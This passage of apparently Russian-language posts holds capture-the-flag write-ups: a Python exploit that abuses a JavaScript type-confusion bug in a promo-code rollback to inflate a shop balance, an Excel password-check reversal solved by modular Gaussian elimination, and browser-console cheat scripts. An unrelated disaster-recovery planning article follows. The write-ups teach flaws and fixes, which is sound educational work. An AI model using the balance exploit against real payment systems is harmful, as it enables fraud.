// Шаг 3: typeof [1] !== 'number' → true → throw
// catch:  session.balance -= [1]  → 50001 - 1 = 50000 (число!)
// finally: updateSessionBalance(50000) — записывает 50000 в БД

// Итог: откат не сработал — вместо 5000₽ баланс вырос до 50000₽

Корень проблемы: += при смешении типов работает как конкатенация строк, а -= с тем же аргументом — как вычитание чисел. Итог: (B + [X]) − [X] ≠ B при ненулевом B.

Эксплойт

import base64, json, requests

BASE = "https://chococore-cmmrrcme.alfactf.ru"
s = requests.Session()

# 1. Инициализируем сессию
s.get(f"{BASE}/api/session")

# 2. Получаем стартовый баланс через легитимный промокод
treat = base64.b64encode(json.dumps({"amount": 5000, "coupon": "TREAT5000"}).encode()).decode()
s.post(f"{BASE}/api/promocode", json={"code": treat})
# balance = 5000

# 3. Применяем malicious промокод с amount=[1] (массив)
# 5000 += [1] → "50001" (строка)
# catch: "50001" -= [1] → 50000 (число)
# finally: сохраняет 50000 в БД
mal = base64.b64encode(json.dumps({"amount": [1], "coupon": "x"}).encode()).decode()
s.post(f"{BASE}/api/promocode", json={"code": mal})
# balance = 50000, ответ сервера — 400 (но баланс уже записан!)

# 4. Добавляем флаг в корзину
s.post(f"{BASE}/api/cart", json={"chocolateId": "flag", "quantity": 1})

# 5. Оформляем заказ (50000 >= 31337 — проходит)
s.post(f"{BASE}/api/checkout")

# 6. Получаем флаг
r = s.get(f"{BASE}/api/completed")
print(r.json()["message"])

Вывод:

Спасибо за покупку! Ваш заказ #539 на 31337 ₽ оформлен. Ваш шоколад уже в пути!
Для нас большая честь наградить вас... alfa{****************************}

Исправление

Правильный порядок — проверять тип до любых арифметических операций:

// Сначала — полная валидация
if (typeof promo.amount !== 'number' || typeof promo.coupon !== 'string') {
  return NextResponse.json({ error: 'Invalid promocode' }, { status: 400 });
}
if (COUPONS[promo.coupon] !== promo.amount) {
  return NextResponse.json({ error: 'Invalid promocode' }, { status: 400 });
}
if (session.used_coupons.includes(promo.coupon)) {
  return NextResponse.json({ error: 'Promocode already used' }, { status: 400 });
}

// Только потом — изменение баланса
session.balance += promo.amount;
updateSessionBalance(sessionId, session.balance);
addUsedCoupon(sessionId, promo.coupon);

Вывод

Задача демонстрирует классическую ошибку в финансовой логике: операция над данными происходит раньше их валидации. Паттерн «добавить → проверить → откатить при ошибке» опасен, потому что операция += в JavaScript не является обратимой при смешении типов: + и - интерпретируют один и тот же нечисловой аргумент по-разному. Правило: в финансовом коде никогда не изменяй состояние до завершения всех проверок.

Автор: @frankegoesdown

Категория: Misc / Forensics

Теги: excel, crypto, reverse

Описание задачи

В терминале учёта провизии требуется ввести правильный пароль.

Дан файл Учёт провизии.xlsx. При открытии — «терминал» на листе Panel с полем ввода пароля. Нужно найти пароль, чтобы на экране отобразился флаг.

Разведка

XLSX — это ZIP с XML внутри. Распаковываем архив и смотрим структуру:

xl/workbook.xml — описание листов
xl/worksheets/
  sheet1.xml — Panel (видимый)
  sheet2.xml — s1 (скрытый)
  sheet3.xml — s2 (скрытый)
  sheet4.xml — s3 (скрытый)
xl/sharedStrings.xml — строковые константы

unzip "Учёт провизии.xlsx" -d unpacked

В workbook.xml видим три скрытых листа: s1, s2, s3. Все три участвуют в верификации пароля и рендере результата.

Анализ листов

Panel (sheet1) — фронтенд

Ячейка B11 — сообщение валидации (через IF со ссылкой на s1). Ячейки B14 и далее — пиксели «экрана»: каждая ячейка берёт бит из s3 и закрашивается условным форматированием → pixel art.

s1 (sheet2) — проверка пароля

Лист содержит многослойную линейную систему над полем Z₂₅₁ (простое p = 251). Слой 1: входной вектор x (8 байт пароля) проходит через матрицу 8×8 M1 с аффинным сдвигом c1. Слой 2: второй набор SUMPRODUCT-формул смешивает v1 и x с константами c2. Слой 3: аналогично смешивает v1, v2 и несколько отдельных линейных комбинаций. Целевой вектор v3 сравнивается с [92, 97, 27, 240, 199, 80, 217, 23]. Несмотря на трёхслойность, вся система линейна по входу x — итого одна система A_total · x ≡ targets - b_total (mod 251).

s2 (sheet3) — поточный шифр

65-строчный ГПСЧ (ЛЦСР-подобный), реализованный формулами Excel. Состояние инициализируется байтами пароля. Генерирует поток ключевых байт через BITXOR/BITLSHIFT/BITRSHIFT операции.

s3 (sheet4) — шифртекст и расшифровка

Ячейки D2:M27 — 260 байт шифртекста (10×26 блоков). Столбец B — ключевой поток из s2. Ячейки P2:Y27 — расшифровка: P[i] = XOR(D[i], B[i]). Расшифрованные байты — биты 26×80 пиксельного изображения (терминал).

Решение

Гауссово исключение над Z₂₅₁

Строим матрицу A_total (8×8) и вектор b_total (8), извлекая коэффициенты из XML всех трёх слоёв. Затем решаем систему методом Гаусса по модулю 251:

P = 251

def modinv(a, p):
    return pow(a, p - 2, p)

def gauss_mod(A, b, p):
    n = len(b)
    M = [A[i][:] + [b[i]] for i in range(n)]
    for col in range(n):
        pivot = next(r for r in range(col, n) if M[r][col] % p != 0)
        M[col], M[pivot] = M[pivot], M[col]
        inv = modinv(M[col][col], p)
        M[col] = [(v * inv) % p for v in M[col]]
        for r in range(n):
            if r != col and M[r][col]:
                factor = M[r][col]
                M[r] = [(M[r][j] - factor * M[col][j]) % p for j in range(n + 1)]
    return [M[i][n] for i in range(n)]

# targets из s1: [92, 97, 27, 240, 199, 80, 217, 23]
x = gauss_mod(A_total, [(t - b_total[i]) % P for i, t in enumerate(targets)], P)
# → [120, 108, 109, 97, 116, 114, 105, 120]
password = bytes(x).decode()  # → "xlmatrix"

Верификация через реализацию шифра

Реализуем ГПСЧ из s2 на Python, воспроизводя Excel-формулы:

keystream = generate_keystream(b"xlmatrix", 260)
plaintext = [ct ^ ks for ct, ks in zip(ciphertext, keystream)]

# Рендер bitmap 26×80 пикселей
for row in range(26):
    line = ""
    for col in range(80):
        bit = plaintext[row * 10 + col // 8] >> (7 - col % 8) & 1
        line += "█" if bit else " "
    print(line)
    

На экране появляется флаг в терминальном шрифте.

Ввод пароля

Открываем Excel, вводим xlmatrix в поле пароля на листе Panel. Формулы пересчитываются, pixel art отображает флаг.

Вывод

Задача многоуровневая:

1. Распаковка XLSX → анализ скрытых листов

2. Обратная инженерия формул → выявление линейной структуры системы валидации

3. Линейная алгебра над Z₂₅₁ → Гауссово исключение даёт пароль xlmatrix

4. Воспроизведение поточного шифра → расшифровка шифртекста

5. Pixel art → флаг

Ключевой инсайт: несмотря на три слоя SUMPRODUCT-формул с разными промежуточными переменными, вся система является составной аффинной функцией от входа — и как таковая решается методом Гаусса, а не брутфорсом.

Автор: @freenameruuuu

Категория: Web

Теги: Easy, Baby, Clientside

1. Анализ и поиск чита

Открываем игру cat-k4sl0sey.alfactf.ru браузере и смотрим DevTools. Находим в бандле React-компонент с панелью «Чит-коды», где canvas с кодами размыт через CSS-фильтр filter: blur(...).

Код рендера фрагмента (упрощённо):

'canvas', {
  className: 'cheat-copy-canvas',
  style: { filter: 'blur(' + _0x44f724.blur + 'px)' },
}

Понимаем, что если убрать blur на этом элементе, то содержимое с читами станет читаемым без решения внутренней логики.

2. Снимаем blur и разлочиваем панель

Через консоль добавляем свои стили и убираем размытие:

(() => {
  const style = document.createElement('style');
  style.textContent = `
    .cheat-copy-canvas {
      filter: none !important;
    }
    .cheat-panel.unlocked .cheat-cover {
      background: rgba(121,167,124,0.2) !important;
      color: rgba(24,32,29,0.72) !important;
    }
  `;
  document.head.appendChild(style);

  document
    .querySelectorAll('.cheat-panel')
    .forEach(p => p.classList.add('unlocked'));
})();

После этого размытие пропадает, панель выглядит как разблокированная, и становится видно два стандартных чита:

• FASTER: catcatcat
• GODMODE: powerup

3. Включаем «автопрыгуна»

Чтобы не играть руками, делаем простого автопрыгуна, который периодически отправляет в игру нажатие клавиши прыжка:

(() => {
  function tapJump() {
    const ev = new KeyboardEvent('keydown', { key: ' ', bubbles: true });
    window.dispatchEvent(ev);
  }
  // подбираем период так, чтобы кот перепрыгивал препятствия
  setInterval(tapJump, 400);
})();

Теперь персонаж сам прыгает с заданным периодом, остаётся только стартануть игру и дать ей добежать до конца дорожки.

4. Вводим чит-коды «как в GTA»

Используем найденные коды, имитируя классический стиль GTA — вводим слова прямо во время игры без отдельного меню. Чтобы автоматизировать, отправляем в консоль:

(() => {
  function typeCheat(str) {
    for (const ch of str) {
      const ev = new KeyboardEvent('keydown', { key: ch, bubbles: true });
      window.dispatchEvent(ev);
    }
  }

  // сначала ускорение
  typeCheat('catcatcat');
  // затем годмод
  typeCheat('powerup');
})();

Игра воспринимает последовательность нажатий так же, как ручной набор с клавиатуры, и активирует FASTER и GODMODE. Надписи в панели меняются на «активирован», а кот с автопрыгуном уверенно добегает до конца.

5. Получаем флаг

Поздравляю, вы хакер

DR-план (Disaster Recovery Plan), или если на *птичьем* «План ОНиВД» (Обеспечения Непрерывности и Восстановления Деятельности) — это документ, который отвечает на один вопрос: «Когда всё сломается — кто, что и в каком порядке делает?»

Две метрики, которые определяют всё

Прежде чем писать план, нужно ответить на два вопроса:

RTO — Recovery Time Objective — сколько времени допустимо на восстановление. Максимум, сколько система может лежать.

RPO — Recovery Point Objective — на сколько назад можно откатиться. Допустимый объём потери данных.

Классы критичности

Не все системы одинаково важны:

- Mission Critical — падение = катастрофа, полный тест DR ежегодно, эскалация если не восстановили за 72 часа
- Business Critical — существенный ущерб, полный тест не реже раза в год
- Business Operational / Office Productivity — менее критично, тест раз в 2 года

Структура плана

Обязательные блоки:

1. Общие положения — идентификатор системы, класс критичности, RTO/RPO, сценарии утраты непрерывности и стратегии реагирования на каждый.

2. Команда и ресурсы — Координатор + Заместитель (минимум 2 человека с мобильными контактами), плюс внутренние ресурсы (железо, бэкапы, дистрибутивы) и внешние поставщики с режимом доступности.[^1]

3. Порядок реагирования — цепочка:

Триггер обнаружен →
Информирование Координатора →
Принятие решения об активации →
Оповещение команды (≤15 минут) →
Пошаговое выполнение стратегии → Подтверждение восстановления

4. Эскалация — если стратегия не сработала. Для Mission Critical: 72 часа не восстановились — обязательная эскалация. В рабочее время — руководителю РГ, в нерабочее — дежурному департамента. Лучше сразу.

Как тестируют DR-план

Пять режимов тестирования:

По итогам — Протокол испытаний с фактическими vs плановыми показателями и списком проблем.

Актуализация: план — живой документ

Бэкапов много не бывает. Но только если они актуальные и проверенные.

Требования:[^1]

- Изменения вносятся в день выявления любых изменений в команде или инфраструктуре
- Плановая актуализация — не реже **раза в 2 года**
- После утверждения — рассылка всем участникам в течение 2 рабочих дней
- Новые сотрудники знакомятся с планом в день приёма на работу

Чеклист: есть ли у тебя нормальный DR-план

Все сломалось, а план «дружит» с тобой как такса — кусает именно тогда, когда не ждёшь. Проверяй заранее.

- [ ] Определены RTO и RPO для каждой критичной системы
- [ ] Описаны конкретные сценарии с триггерами обнаружения
- [ ] Есть Координатор и Заместитель с актуальными контактами
- [ ] Прописаны пошаговые стратегии с ответственными на каждом шаге
- [ ] Последний полный тест — менее года назад (для критичных систем)
- [ ] План обновлялся после последних изменений в инфраструктуре
- [ ] Все участники ознакомлены с актуальной версией

Если отметил меньше 5 пунктов — у тебя не DR-план, а документ надежды.

Совет от автора: напиши свой DR план на домашнюю инфру, добавь туда стратегии и сценарии с командами по восстановлению. Поверь, пригодиться, а потом еще за курсач засчитают в шараге/универе. Шаблончик потом можно переиспользовать